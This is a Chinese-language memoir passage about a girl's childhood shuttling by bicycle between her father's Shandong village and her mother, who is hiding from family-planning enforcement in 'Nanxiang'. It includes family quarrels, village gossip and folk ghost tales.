我爸爸去哪儿装炭去了,我不知道。看不到他的身影,我就在港口边沿着运河走。运河边上停泊着一排大船,另一边,没有多少大船的岸边,是一小堆一小堆的煤炭。轻轻动一下,煤炭粒子从小小的尖顶上“哗啦啦”地往下淌。我看着这些黑沙似的煤炭,在静寂的运河边盼着爸爸出现。运河有开阔的河面,我仿佛掉进了运河一样的白天。 不知道是为了怕我饿还是为了哄我,爸爸给我带了一袋子点心,那点心是一小段一小段的面果子,像猫屎橛子似的,我妈妈就把它叫作“猫屎橛子”。我拿着那袋点心,一个人在港口边瞎转。运河里静止的大船上,一个女人进进出出,她在晾衣裳。她的身后,是她家的船舱。她的船舱里一定很温暖吧,她的船舱里一定有很多包“猫屎橛子吧”,除此之外,肯定还有很多好吃的东西。我爸爸还没有回来,我时不时地看着运河,看高高低低的岸边偶尔冒出头儿来的,穿着打扮跟我爸爸相仿的劳力,那些劳力给茫然中的我带来多少惊喜和误会。 父母两地分居,我跟着妈妈想念爸爸,跟着爸爸想念妈妈。我最幸福的事,是跟着爸爸的洋车子去南乡看我妈妈。最痛苦的事,是我要跟爸爸回山东老家。 我跟着爸爸回山东的那天早上,我妈妈给我穿上了她给我新绣的花鞋。那时候,很多妇女会“插花鞋”。人家给女孩绣花鞋上绣的是牡丹,兰花,鸡、狗、白菜——“鸡吃白菜狗撵鸡,小孩活到八十一”。我妈妈自创了一种针法,给我的花鞋前头绣了两条大鲤鱼。绣花鞋上绣鲤鱼非常罕见:片片鱼鳞高低起伏,凹凸不平,有棱有角,不知道妈妈是怎样“轻拢慢捻抹复挑”,才把鱼儿绣地如此惟妙惟肖。 我爸爸把他的洋车子推到门口儿,我们该走了。 妈妈把板油炼的猪油渣放在一个大塑料袋子里头,挂在我爸爸的车把上:“大省饿的时候,一伸手,就能拿到了。” 我爸爸戴上他的墨色眼镜开始赶路了。这个眼镜,他去石塱里起石头的时候也戴着,可以用来保护他的眼睛,不被飞起来的石头渣子崩着。不过,他的眼睛好像在起石头的时候给石头渣子崩着了,所以,他的眼睛有些怕光,所以,他还是戴上那副眼镜。 爸爸带着我,穿过遍布朝阳的金光的小路,早雾渐渐散去,路两旁的枝枝叶叶上,有蜘蛛结的网,蜘蛛网上挂着晶莹的小水珠。这样的小路,我跟我妈妈和我弟弟一起也走过很多次。这时候,我们距离我妈妈跟我弟弟还不是很远,仿佛我朝南转身儿一声叫喊,我妈妈还能听得见。我很想我妈妈,很想我弟弟。我不停地抹眼泪,又怕被爸爸知道,于是我装作好像被蜘蛛网迷了眼睛的样子。 “恁多蜘蛛网的。”我说。 我爸爸估计也知道我是在哭吧,他不吭声,也不问我。 爸爸的洋车子,前头大梁上带着我,后头车架子上一边一个化肥袋子,里头是塞地满满登登的粮食。遇到交警查车牌了,我爸爸赶紧靠近路边停下来,两腿蹬歪着,挣扎着要下车。 遇上好心的交警,人家就会和善地对我爸爸说:“别下车了,赶紧走吧,有小孩儿呢!” “谢谢同志!”我爸爸笑着客客气气地说。他收回去他想要迈下来的大腿,就又带着我继续赶路了。 我坐在我爸爸的洋车子大梁上。我爸爸带着我,一走就是几个小时。有时候,我路上要尿尿了,我爸爸就把我放下来,让我在路边尿尿。我因为坐地太久,脚都麻了。两只脚像是穿了麻麻的高底儿的靴子,根本挪不动。 人家小孩儿坐大人的洋车子,车大梁上都放个小板凳儿,我家没有。我爸爸带着我去南乡的时候,有没有向别人借过,我也不太记得了。 半路上,人家的电焊铺里,有人拿着面具在悍东西,电焊的光芒特别刺眼,我爸爸就伸手捂住我的眼睛,不让我看。 恰巧碰上大街上逢集,我爸爸就带着我到卖汽水的摊子前,给我买一杯汽水喝。那种橘黄色的汽水装在一个大大的透明的塑料箱子里,像是一个循环的瀑布一样,从箱子上头倾泻下来,再流回到箱子上头去。我从小就爱喝汽水儿,这样流动的汽水,真是看一眼就想喝。 “多少钱一杯啊?”我爸爸问人家。 “两毛钱。”卖汽水的男人说。 我爸爸给我买了一杯,看着我喝完,问我:“还喝吧?” 我说:“喝!” 卖汽水的男人趁机鼓动我说:“哟,这个小丫头还怪厉害来!真能喝!” 我就又“咕咚咕咚”喝了两大杯。我爸爸没有阻拦我,他温和地看着我喝。他自己一口都没喝。 我总觉得我爸爸对我不够好,我也知道我爸爸有足够的理由对我不够好。我现在想想,他对我好的时候,大概是为了报答我妈妈吧。毕竟,我妈妈一个人在南乡给他生养了孩子。又或许,我妈妈独自在南乡给我爸爸生养了孩子,也是为了报答他。 我爸爸带着我走上了一条大柏油路。前头,柏油路分了叉。一个男人不知道该怎么走了。他骑着洋车子赶上来,用普通话问我爸爸说:“同志,去青岛怎么走啊?”我爸爸说:“往左拐。”“谢谢!”那个人说着,骑到了我们的前头。 印象中,爸爸是一个温和的君子。别人遇到他,因为他的温和,也自然对他温和了很多。爸爸的眼睛是单眼皮,像温顺的老马的眼睛,眼珠里流露出温和安静的神情。爸爸的脸庞也是舒展的干净的,像马儿的面庞。爸爸经常穿着绿色的或是蓝色的中山装,戴着一顶军绿色的帽子。爸爸通身都是温和的沉静的。 我妈妈不一样。我妈妈的眼睛是有神的敏锐的,是永远不会迟钝的,是易反抗易反击的。我妈妈的两颊和鼻头是像山一样挺立的,是刚强的,是锋芒毕露的,也是极易招人挑衅,极易反击的。我妈妈的嘴唇微微上翘的,像崖壁,沧桑又坚毅。 等我到了山东,吃晚饭的时候,我对奶奶说:“奶奶,咱晚上吃鱼吧!” “哪有鱼啊?”久未见荤腥的奶奶惊奇地说。 “在我的花鞋上呢!”我看着我脚上的花鞋说。 “哦。恁妈妈给你插的花鞋。”我奶奶又不吭声儿了,我的玩笑话带给她不少失望吧。 晚上,我跟爷爷奶奶坐在天井里说话。黑沉沉的天空里,月亮亮堂堂地升起来了。奶奶说:“月亮里头有桂花树、还有一头小猪,是月亮姥娘养的。” 我爷爷说:“月亮姥娘亮堂堂,里头养了小猪秧儿。吃豆腐,喝酸浆,吱咯吱咯想它娘。” 我看看那月亮里头,光明一片。看不出来有什么小猪。只是那光明耀眼的月亮里,有深蓝色的阴影儿,像是一棵树一样。那是桂花树吧。 到了第二天,我穿着我妈妈给我绣的花鞋到大街上玩的时候,总会引来一些女人的围观和夸赞。 “你看大省妈妈手多巧啊!” “就是的,你看看,给大省绣的大鲤鱼。真俊!” 几个女人说着话儿就把我包围起来了,她们又开始追问我妈妈的下落了。 “大省,恁妈妈给你生了小弟弟了吗?” 她们撅着腚弯着腰,伸着脖子,眼巴巴地看着我。 “俺有小弟了。”我说。 “大省,恁妈妈搁哪躲计划啊?” “俺不知道。”我说。 “恁爸爸带着你一趟趟地去南乡,你不知道吗?”她们说。 “南乡恁么远,我哪能记得。”我说。 我那时候虽然还小,但是心里有数,我就跟她们打马虎眼,就是不跟她们说实话。小孩子本身也说不出具体的县、乡这样详细的地址,但是从山东到南乡,这一路经过兰陵、苍山、底阁……多少次的往来,我已经耳熟能详。可是,我不能跟她们说,我妈妈也多次叮嘱我不要跟她们说。每次再见到我妈妈,谁谁谁追问我了,我还会一五一十地跟我妈妈说。 婶子大娘们到底是聪明的,知道我不肯说,一个女人就推开她家的黑色的大门,拿出来一个馒头头子递给我。 “大省,你跟我说,恁妈妈到底是搁哪儿躲计划的?”她说。 “嗯,俺爸爸带着我路过兰陵,底阁。后面儿的地方我就不知道了。”我一面想着怎么应付她,一面享受着她给我的馒头头子。 “大省这小孩儿精!不肯跟咱说!”那些女人说。 “那可是!都是她妈妈教的!”她们又说。 我干嘛要跟她们说呢。我妈妈在南乡躲计划生育,我跟我爸爸是万万不敢对人说我妈妈的地址的。那时候,山东的计划生育小分队抓地多严呢。我最怕听到庄上来“小分队”了。 “小分队来了!小分队来了!” “还有包车!包车来了!来包车了!” 一听到风声儿,那些家里超生的男男女女就要扶老携幼,举家逃窜。 跟我们家一样因为超生被“通缉”、罚款的是大翠家。她家也是三个孩子:大翠、丹丹,大翠弟弟挪挪。“小分队”一来,不光大翠一家要跑,连大翠奶奶、大翠大爷一家都吓得躲起来。往哪儿躲呢,她们躲到石塱里。庄西头的“石塱”确实是个隐蔽的好地方,那里有石头堆,有一个个的大坟头子。听说以前老百姓家躲鬼子,“跑鬼子反”的时候,婆婆会烙块大饼给媳妇揣在怀里,又暖和,又充饥。不知道为什么这个故事让我想到了大翠奶奶。躲“小分队”的时候,她也会烙一个大饼带上吧。 其实“小分队”到底长得什么样,我也没有见过。只是从大人的惊恐里,我觉得他们是一群特别可怕的人。“小分队”进村,大队书记也要好生接待他们。据说有个村里的大队书记很聪明,他热情、友好地接待了“小分队”,啤酒、汽水、花生米,统统拿来孝敬“老总”们,他热情地招呼“老总”们吃着、喝着、吹着,给那些“超生”的乡亲们的逃离争取了宝贵的时间。 “小分队”进村,主抓的是那些应该结扎但是没有结扎的妇女,还有应该交超生费,但是交不起,拖欠着的家庭。这些家庭往往是女人跑了,男人留在家里,因为生活还要继续,地里的庄稼还要收割,每年的公粮还要上缴。既然女人不在,男人就要去接受“审问”。轻则被辱骂,重则被拳打脚踢,“严刑逼供”。听说大翠爸爸就被抓去打过。我爸爸因为是村里出了名的老实人,战海大叔也不忍心打他。此外,文利大爷那时候是庄上的干部,他跟我爸爸处地好,护着我爸爸,经常在战海大叔跟前替我爸爸说话。因此,我爸爸虽然也是频繁地被大队书记叫过去“审问”,但是好像没有挨过打。 那时候,大队书记就是“土皇帝”,想骂谁骂谁,想揍谁揍谁,打了白打,揍了白揍。为了躲计划生育,有的举家逃窜,不见踪影。“小分队”来了不见人,就用挖掘机把他们家的房子给挖塌了。我家因为超生,被罚款四千块钱。八十年代末,九十年代初,农村里“万元户”都很少的时候,四千块钱对一个老百姓来说是一笔巨款,何况我家还有三个孩子要吃饭。 “小分队”来抓人,要钱,这对童年的我来说,很长一段时间都是一个梦魇。有时候看见村头有个“包车”,我就开始心虚、心惊胆战,害怕自己被抓了去。害怕他们哪一天把我妈妈给抓了去。 有一回,我爸爸自己去了南乡,没有带我。 我妈妈就跟他说:“我夜里梦到一只老鼠,被人扒了皮,血红淋拉的。大省没事儿吧?” 我爸爸说:“大省没事儿。就是脸上起了一脸疙瘩子,血红淋拉的。” 我妈妈说:“你看看,我做梦可灵了。我就说大省有事儿吧。我听人说吃□□肉能治脸上的疙瘩子,你回去买点□□肉给她吃。” 我爸爸说:“大省不听话,一到夏天就赤着脚丫子。她脸上的那些疙瘩都是火气。” 我妈妈说:“□□皮上的那些白水,是□□的‘蟾酥’,‘蟾酥’有毒。□□肉去火消毒的。回你买了□□肉,让恁娘弄给大省吃哈。” 我爸爸说:“集上没有□□肉,我看看有青蛙肉吗。” 我妈妈说:“青蛙肉也行。那你就给她买青蛙肉。” 等我爸爸回到山东以后,果然买了很多青蛙肉,一串串的,交给我奶奶。我奶奶先是炒给我吃,她炒地黑黑的,很好吃。后来又煮,煮的也好吃。我爸爸买给我吃的东西,我三叔明面儿上是不吃的。但我怀疑他会偷吃,我怀疑我奶奶很可能跟我三叔串通作弊。 有一次,我们正在吃饭的时候,我三叔跑到他的屋里间,拿了一个红色的东西,在他自己嘴里吃着。 “你吃的什么?”我仗着自己是个小孩儿子,壮着胆子问我三叔。 “辣椒子!红辣椒子!”我三叔说! “不是的,是红枣!”我说。 “就是辣椒子!”我三叔说,“你看!”三叔把那只藏着的手伸出来给我看,他的手还是攥着的,手心儿里露出来一点点红。 “就是红枣!给我一个!”我说。 我奶奶笑笑,吃她的饭,不说话。我也不敢再进一步去抢他的。在这个家,我能安稳地待在这儿,已经是奶奶和三叔看在我爷爷的面儿上,给我的很大的恩典了。此外,我哪里还敢造次呢。只是,那次,我始终也不知道我三叔手里拿的到底是啥。但是,绝对不是辣椒子。这个我是可以肯定的。否则,他不会那么藏着掖着,不给我。我三叔有什么好吃的,我奶奶也不会跟我说的。毕竟,她疼三叔是远远胜过我的。 等我跟着爸爸又到小鲁村的时候,我妈妈又撺掇着我爸爸跟她一起去捉癞蛤蟆。那天,我们一家子难得一起出游了。我们一起来到小鲁村的灌溉站那里,那里的蓄水池子已经快干了,里头有很多癞蛤蟆。我爸爸带着从人家那儿借来的网,抓上来很多癞蛤蟆,一个个,巴掌那么大,在灌溉站那儿的水池子上头趴着。 3. 弟弟妹妹出生在小鲁村 1.春咕咕!春咕咕!我长高来你顾出 后来不知道大人们是怎么说的,我们一家子搬到了养驴的二老的空宅子里。这是一个大大的、完整的院子。听说,以前是冬歌家在这里住的。她家现在不用了。正房屋是土墙的。靠东山墙放着一张小床。我们跟我妈妈就挤在这张小床上。天井东边,是一个废弃的没有屋顶的屋框子。没有大门儿。大门儿就用一些枝条穿成的篱笆门儿堵着。 那是人家废弃的房子,黄土墙壁的外墙,墙皮已经剥落,露出了最原始的黄泥垛子,像是一张沧桑斑驳的脸。每逢下雨天,漏雨是常事。我妈妈就用脸盆、茶缸子,排成一排,来接房顶上漏下来的雨水。 那时候,很多人家的房子已经是砖瓦房了,石灰的墙皮包裹着红砖绿瓦,墙皮上还装饰着用红红绿绿的玻璃碎片组成的图画。大门两旁,贴着写着对联的瓷砖,房顶上,还有金色琉璃雕琢而成的龙头。而我们,就跟着父母生活在那样的小院子里,觉得温暖而富足。小孩子是很天真的,天真到眼里心里只有吃喝二字,天真到不会为自家的贫穷感到难过和羞耻,天真到以为只要围绕在父母的膝前,就有了万能的神和强大的靠山。 夜里,我跟着我妈妈睡觉。我们的屋门是在里头用几根木头杠子顶上的。我们的院子里有一点动静。不知是狗还是人,在推我家的篱笆门。我在黑暗里睁着眼睛,竖起耳朵听。我妈妈突然大声说:“家军啊,你拿上咱的盒子枪,去打他个养汉头将的!让他扛咱的门!”我听了我妈妈的叫骂并不害怕,我知道我妈妈是故意吓唬那贼人的。这时候,我妈妈小声儿跟我说:“你不要害怕。我故意吓唬贼的。” 第二天清早,我还在睡觉,我妈妈就起来去庄南头的汪里给我弟弟洗尿戒子去了。我在睡梦里隐隐约约地听到有个女人在骂街,像是我妈妈的声音。 我听到一个女人在骂街:“恁个婊子将的恁!恁觉得俺是外地来躲计划的,恁就敢扛恁姑奶奶的门啊。恁也不看看恁姑奶奶是谁?恁姑奶奶是山东人!山东出响马!恁姑奶奶跟人拼过刀子的!恁哪个再敢扛俺的门,别怪恁姑奶奶捅死恁个养汉头将的!我让恁白刀子进去红刀子出来!”那骂声很是凌厉。我屏息听着,那声音越来越近了,真的像是我妈妈的声音。我听着那声音,心里怦怦直跳。我妈妈在骂街,我不能不担心。我害怕有人出来跟她吵跟她骂。 后来,那声音没有了。我妈妈推开大门儿走进了天井里。她把我弟弟的尿戒子晾在大门上的树枝上,就走进了屋里。 “该烧饭了,我去挖糊豆面子去。”我妈妈说。 她走来走去,忙着烧早饭,像是什么也没有发生过一样。 我不敢确定刚才骂大街的是不是我妈妈了。 我就问她:“妈妈,刚才是你骂街的吧?” “是的。”我妈妈说,“婊了个将的!”她又像是个没事儿的人一样,去烧早饭了。 我们住的地方没有水井。我妈妈带着两个孩子,一个手里领着,一个怀里抱着。她是怎么吃水的?每次,我爸爸去南乡,他总是帮我妈妈去别人家里挑好水。每次,我爸爸估摸着我妈妈水桶里的水吃完了,就又到了南乡。我妈妈笑着说,有一回,我爸爸挑着钩担去人家家里挑水。他正挑着挑子走在路上,只觉得左边腿上蚊子咬地痒痒,他翘起右边的腿去蹭左边的腿挠痒痒。被一个走在路上的大闺女看到了。那大闺女乐得直笑。估计她说,你看这个“躲计划”的,看起来蛮老实的,背地里多会出洋相!挑个水还能出个洋相! 我弟弟出生以后,过了很久,我奶奶迫于舆情的压力,和我爷爷的撺掇,才勉强来南乡看望她的孙子。为了那次来南乡,我奶奶还扯了粉色、绿色的布,给我做了一身新褂子、新裤子,还给我扎了两个小辫子。我还记得我那件难得的新褂子是粉色的,布缝儿里还有透亮的银丝。我二叔恰巧从东北回来,他也要去看望他大嫂子和两个孩子。 那天,我奶奶挎了一箢子鸡蛋,上头放着一件给我弟弟买的大红的披风。我爸爸带着我,我奶奶坐着我二叔的车子就来到了南乡。他们一路骑车子又饥又渴,到了人家庄头,二叔看见一个洗衣服的大姐,就去向人家讨水喝。人家还没来得及给他舀水,他自己就抱起人家跟前洋铁桶里的水“咕咚咕咚”喝下去了。 我妈妈跟我奶奶向来不和,但是我奶奶大老远从山东赶来,我妈妈也是亲切地接待。我看着我的妈妈跟奶奶能够保持片刻的温和,我心里自然也是高兴的。我奶奶在我们南乡的家里呆了半天,第二天又让我爸爸带着她回去了。我们借助的一间小屋实在太过拥挤。我奶奶在这里肯定是难以住得下去。 等我爸爸带着我又去探望我妈妈的时候,我妈妈问他:“家军啊,我问你件事儿哈。上回恁娘来看我,是她自己要来的,还是你让她来的?” “她自己要来的!”我爸爸说。 “你说这个我是不相信。恁娘那个人我是知道的,她恁么毒,她能来?肯定是你让她来的。要不就是恁爹让她来的。” “就是她自己想来的。”我爸爸说。 “你那是侃瞎空儿说瞎话儿的。她要是真是自己想来的,她早就来了,她不会等到现在。恁娘跟小福伦娘俩儿一心,小福伦都没来的?恁娘肯定也是不想来,肯定是你,要不就是兴利,恁弟兄两个非拱着她来的。”我妈妈说。 “不是兴利,是俺爹,俺爹劝说俺娘来的。”我爸爸说。 “那还是的。”我妈妈说,“人家老嫲嫲根本就是不想来。人家有三个外孙女,还有一个外孙子,人家稀罕这个孙子儿吗?要是福伦的小孩儿嘛,她稀罕。除了福伦,恁弟兄俩儿,她压根儿就不放在心上。我是明白儿的!” “不来看看不好!你给宋家门儿生下孩子了。俺娘作为当老的,能不来看看吗?她不来,荆堂的人怎么看她?小鲁村的人怎么说她?人家不说当老的不通人性吗?”我爸爸说。 “我再问你,恁娘来看我,她带的那些鸡蛋,她给大省做的那身衣裳,给鸿雁买的披风,是她自己买的,还是你给她钱买的?你给我说实话。”我妈妈又问我爸爸。 “我给她的钱。”我爸爸说。“我图外场儿上好看。” “家军啊,你要是说这话啊,真是白搭又白搭的一个人。”我妈妈说,“咱夫妻恁么些年都白过了!你还不知道我的吗?我是讲那些假码子的人吗?恁娘不来,那就不要让她来。她不喜我,我也不喜她。她不来,我也不接见。咱两头儿皆大欢喜。你别别扭扭地弄了她来了,她那里不是真心实意,我这里也是别别扭扭。你弄那些假码子的事儿干什么?咱有那个空儿,咱一家四口儿到大堰上走走吹吹风儿,不好吗?你弄得两下里都不乐意,这是何必呢?” “你说是为了外场儿上好看?家军啊,咱都落到出门儿逃荒这步田地了,咱外场儿上还讲什么好看难看的?我跟着你东躲西藏,疲苦卖劳,咱连饭都吃不上了,孩子都要养不起了,咱还讲什么排场儿?我给恁宋家门儿生了孩子了,恁娘不来看,外人想怎么说就怎么说。人家要是说我是畜生不通人性吧,那就随人家说。人家要是说恁娘是畜生不通人性那也随人家说。家军,我这样说公平吧?我不要面子,我不讲排场。恁娘要面子,恁娘讲排场儿。你得花钱给恁娘买个面子!恁妻子孩子都在外头流浪了,都吃不上喝不上了,你还得想着给恁娘买个面子!” “今天这话是我问你你才跟我说的。我要是不问你呢。你就把我哄了骗了?恁娘根本不想来,你非拱着她来。恁娘根本不想出钱,你自己出钱往她脸上抹粉。我要是那样没心没肺的人,我还得感谢恁娘来。我一个人在外头要饭潦生的给你生孩子,你就这样扒壳塱埋我啊?你给恁娘脸上抹粉,你不想想鸿雁的麦乳精的,咱家还有钱给鸿雁买麦乳精吧!” 我妈妈跟我爸爸唠叨个没完。天黑了,该睡觉了,我妈妈恼恨地带着我们睡觉了。我爸爸一个人靠着天井里的柴草堆待了一夜。我当时也觉得我爸爸可怜。可是我妈妈赌气不管他。我也不知道该怎么办。我就挤在我妈妈右手边靠墙睡着。说实话,我家的那张小床,光睡我们娘仨,已经很挤了。 第二天,张可典爷爷来到我家。 “大爷爷!”我连忙喊他。 “大叔来了?大叔你坐!”我妈妈说。 “你坐!大叔!”我爸爸说。 可典大爷爷看到我爸爸一个人靠在天井的柴垛子上闷声不坑,我妈妈也瞌醒着脸,就知道他们两个吵架了。 “怎么回事儿,家军?难得回来一趟。恁夫妻两个怎么不高兴的?”可典爷爷问。 “玉梅嫌我带俺娘来。”我爸爸说。 “人家根本就不想来!家军非让她来的!你还不明白吗?大叔!”我妈妈说,“俺来小鲁村那么多年,人家要是稀罕孙子儿,人家早就来了。人家能就来这一回吗?是家军自己出钱硬拱着她来的!家军这是扒壳塱埋我的!拿我当憨子待的!”我妈妈说着,走到屋里间去照顾我弟弟。 天井里,我爸爸跟可典爷爷一块儿坐着。 “家军,三姐一个妇道人家,她说多说少的,你可不要跟她计较。三姐在外头躲着计划给你生孩子,可不易。”可典大爷爷说。 “是的,大叔。我知道。我心里有数。”我爸爸低着头默默地说。 “三姐也就是嘴上厉害,她嘴上再怎么样,她心里还是想真心实意地跟着你过日子的。搁旁的妇女早就扔下孩子跑了,哪个还在这儿守着等着你哦。人家三姐拾着庄稼养着自己,还把粮食留着,给你带到山东去,这样有情有义的媳妇上哪找去。”可典爷爷说。 “是的,大叔。玉梅是什么人,我知道。”我爸爸说。 “三姐吧,就这个脾气。她性格刚强,小鲁村的人都知道她的。你也是个老实人。回我也劝劝三姐。让她不要跟你咯咯吱吱地吵。” “行,大叔。”我爸爸说。 经过可典大爷爷一番劝和,我爸爸妈妈的这场风波就算过去了。这样的事儿在我家里那是常事儿。 可典爷爷是我爸妈在南乡的老相识。我爸妈跟他相处地很好。我爸爸每次去南乡,总是先去找他坐坐。可典爷爷咳嗽地厉害。冬天,可典爷爷就在堂屋的火盆里架起木柴烤火,拿个大茶缸子烧水喝。茶缸子外头被火燎地黑黑的,茶缸子里头被茶浸地黑黑的。可典爷爷茶缸子里的茶水酽酽的,看起来像红糖水一样,我常常想喝上一口。可是我到底不敢跟他开口。可典爷爷虽然跟我爸爸妈妈处地好,但他毕竟不是我的亲爷爷,在我这样的小孩子面前,他总是不苟言笑的。我到了他家,在他屋里或是天井里转一圈,他也不怎么搭理我,我也跟他说不上话,没过多大会儿,我就又走了。 家住庄西南,靠着汪沿边儿上住的老张奶奶,偶尔挪着一对小脚到可典爷爷家里来。老张奶奶看起来比可典爷爷要老,小小的裹脚,颤巍巍的身架,梳着小纘儿,花白的头发,两只耳朵上戴着一副闪闪的银钉镶。两个老人,就像两个老朋友,平平淡淡的拉几句家常话,看不出什么不寻常。 “你这几天忙什么的?”老张奶奶站在天井里问可典爷爷。 “这几天没什么事儿,把秫秸摊开来晒晒。你呢?你这些日子去哪了?”可典爷爷站在屋门口儿问她。 “我哪儿也没去。我能去哪。给小三儿带带小孩儿。”老张奶奶仰着白生生的脸跟可典爷爷说。老张奶奶虽然老了,但是很好看,很慈祥。她的嘴巴因为年老变得有些收拢了,她的眼角也有很多皱纹了。可是她的眼睛是圆的,她的脸庞也是圆的。小鲁村有好几个这样又老又好看的老太婆,她们的打扮跟穿着都差不多,都是蓝黑的裤褂和亮闪闪的银钉镶。我有时候看不出来她们有什么两样。我能记得老张奶奶是因为她跟可典爷爷的关系不同寻常。 老张奶奶年纪大了,她跟可典爷爷说不了几句话,就要回家了。 老张奶奶临走的时候,可典爷爷从屋里拿出一包晒干的秋霉豆皮子。 “这是俺三妹妹给的,我知道你喜欢吃。”可典爷爷说着,把那些霉豆皮子往老张奶奶怀里倒,老张奶奶颤巍巍地张开褂子大襟兜着。 可典爷爷跟老张奶奶年轻的时候相好,这是公开的秘密。 可典爷爷跟我爸妈说起他们俩个当年的事儿,也是毫不避讳:“那时候恁大婶子已经成家了,我打她墙外头路过,恁大婶子坐在天井里,穿着藕荷色的褂子,脸跟银盆一样”。 我听着可典爷爷的话,脑子就在想,老张奶奶年轻的时候到底是个什么样。 可典爷爷又说:“后来,恁大婶子宁死都要跟着我。她跟她娘家侄子说,‘以后我就跟着可典了。恁过完年去接我的时候,不要去老张家接我了,就来可典家里接我。’” “那老张大叔能愿意吗?”我爸妈问他。 “老张一个人拉扯着几个孩子,一点办法也没有哎。恁大婶子死活就是不跟他了。”可典爷爷说,“那时候歉年,我带着她要饭。夜里就睡在路边上。半夜里,有人来搜捕我们,把我们当贼了。我就把要饭的袋子打开给他看。‘呐,这是肉包子,要饭要来的’!” 当年死了都要在一块儿的两个人,最终还是没有白头到老。老张奶奶终究还是回到了老张爷爷的怀抱。可典爷爷跟老张奶奶纠缠半生,到老了还是孤身一人。人到黄昏,孤独地守护着他的小院儿,时而发出一两声剧烈的咳嗽。 老张奶奶的儿子们都长大了。听说有一个儿子是可典爷爷的,跟可典爷爷长得很像。但是老张奶奶的夫家不承认,也不把这个孩子给可典爷爷,就跟自己的孩子一样养着。 老张奶奶的儿子们都反对老张奶奶跟可典爷爷来往,那个长得跟可典爷爷很像的儿子也是一样的反对。 可典爷爷的儿追着可典爷爷骂:“你不要脸,这么大年纪了还勾搭俺娘!信不信我揍死你个龟孙!” 可典爷爷说:“你还骂我,你不怕天打雷劈啊,你是我的!” 可典爷爷的儿也跳起来,冲着可典爷爷叫骂:“你是我的!你是我的!” 在南乡,我的日常就是玩耍。我爸爸帮着可典爷爷起蒜,我妈妈抱着孩子。我提着一把小铲子,在杨树荫下的黄土小路上玩。南乡的黄土地是那么温柔、细腻。太阳灿烂地照着,杨树叶子哗啦啦地响着。我喜欢这样的小树林,喜欢这样的时光。回家的时候,妈妈铲上一些干净的黄土带回去,在热锅里烘一烘,装进弟弟的小棉裤腿儿里,小孩子拉、尿都在里头。 我弟弟的尿戒子,妈妈总是拿到小鲁村家前的水汪里去洗。那个汪里有亭亭的藕叶和芦苇。枯死的半截子的芦苇和片片柳叶漂浮在水面上。妈妈说,这个汪里淹死过人。有一个人在汪边儿上洗衣裳,她感觉背后有人拿小拳头捣她,她以为是谁家的小孩儿呢,回过头儿来看看,没有人啊。她突然想起来,这汪里不是淹死过小孩儿吗?感情是那小死鬼儿来推她了?她立刻变得头皮发麻。 妈妈还说,水里淹死的人,三年会找替工的,这样他的魂才不会永远沉在水里。而这时候,如果有人靠近水边,一不留神,就会被那死鬼给拉进水里,做了“替死鬼”。 有个人扛着一口铁锅回家。天热,他把铁锅顶在头上扛着。他路过一个汪边,汪里远远地有声音在喊他:“铁帽子哥,铁帽子哥,快来替替我!”“铁帽子哥,铁帽子哥,快来替替我!”他顿觉自己十分口渴,就直奔汪水走去,想去汪边儿捧一把水喝。 这时候,路边有个好心人拦住了他,让他不要去。他不知为何。那位好心人就跟他说:“你没听到吗?水里正在喊你呢。‘铁帽子哥,铁帽子哥,快来替替我!’” 扛铁锅的人一想,自己顶着铁锅,可不就是“铁帽子哥”吗?自己一时鬼迷心窍,差点中了水鬼的圈套。他恍然大悟,赶紧给好心人下跪,感谢人家的救命之恩。 听了这样的故事,我总觉得那汪水里,藕叶底下,枯死的芦苇下面,还有那些红色的、黄色的柳叶下面,都有闭着眼睛的亭亭的水鬼。这时,我就会莫名地害怕,不敢靠近那汪了。 我妈妈带着我们,走在庄外的小桥上。南乡的桥没什么好看的,一孔石灰桥底下,是弯弯的桥洞,桥洞下,是绿绿的汪水。南乡的水跟荆堂的水不一样。荆堂的水叫河沿,河沿的水是清的,白的,带着点儿蓝。南乡的水叫汪,南乡的水是绿色的,跟啤酒瓶子一样的绿。庄上的人都去地里干活儿去了,只有我们娘几个在外头转悠着。 我跟着妈妈,静静地看那汪水。汪水边上,或是汪边上的小路上,有时候会有一个青皮的鸭蛋,我妈妈就去捡了来,带回家煮给我们吃。我妈妈的手气很好,她不仅捡到过鸭蛋,还捡到过钱。有的是一块,有的是五块。那个时候,我走在水汪边,也会看看边上有没有鸭蛋。走在路上,也会看看脚下有没有钱。 我妈妈跟我说:“恁小孩儿不能到汪边儿上拾东西哈。水里头有水鬼。有的东西就是水鬼变的,小孩到汪边儿上拾东西的话,就被水鬼给拖下水淹死了。”我听了妈妈的话,看到水里的东西,尤其是红红绿绿的塑料小花、小玩具,总觉得有些害怕,害怕那是水鬼变的。 我妈妈说:“水边上的那些泡沫,都是龌龊,是脏东西。人要是靠近水边,它能把人给拉下去。我上回不小心掉下去了,腿上红红的,都是被那些龌龊给咬的。” 我听了妈妈讲地太多的水鬼的故事,便觉得那汪水里有太多的故事。那啤酒瓶子一样绿的汪水是沉静的,里头有水鬼的或是眯着或是睁着的眼吧。我盯着那汪水静静地看上半天,想着那些水上、水下的棒子是不是什么妖怪变的,看那些水面上飘着的红的、黄的树叶,是不是什么妖精的魅惑。 南乡的水很绿,走不进我的心里去。 妈妈说,有一个女人,快死了,发昏的时候,到了地狱。在地狱里,她看见一个女人,她的跟前有三汪水,阎王爷爷让小鬼小派看守着,看着她喝完。一汪是绿色的水,是她为家人洗菜、刷锅的水;一汪是黄色的水,是她为自己的孩子洗尿戒子、屎戒子的水;一汪是红色的水,是她自己为自己洗月经带子的水。后来那个发昏的女人,又还阳了。她把看到的事跟世上的人说。 我妈妈说,女人死了以后到地狱里,都要喝这些水的。没办法,谁让你是女人呢。 又是一年夏天,我弟弟会冒话儿了,他搬着小板凳,拉着我说:“大姐,咱去当天井,郎快郎快去吧!” 我说:“行!走!小弟!” 我弟弟说:“大姐,你拜叫我小弟,你叫我‘毛牛子’。你拿绳儿牵着我,我要去东屋框子吃树叶。” 我说:“行。”我就找根小绳儿,牵着他,带着他去吃树叶。 春天,春咕咕鸟一遍遍地叫。弟弟坐在妈妈身边。妈妈看看东边屋框子里的大椿树,对他说:“鸿雁,你去!抱着椿树喊,‘春咕咕,春咕咕,我长高来你顾出!春咕咕,春咕咕!我长高来你顾出’!” “噢!”弟弟听了,立刻跑到大椿树跟前,抱着椿树说:“春咕咕!春咕咕!你长高来我顾出!春咕咕,春咕咕!你长高来我顾出!”喊完,他又一溜烟儿跑回妈妈跟前。 妈妈说:“错了!错了!你得喊,‘春咕咕!春咕咕!我长高来你顾出’!” 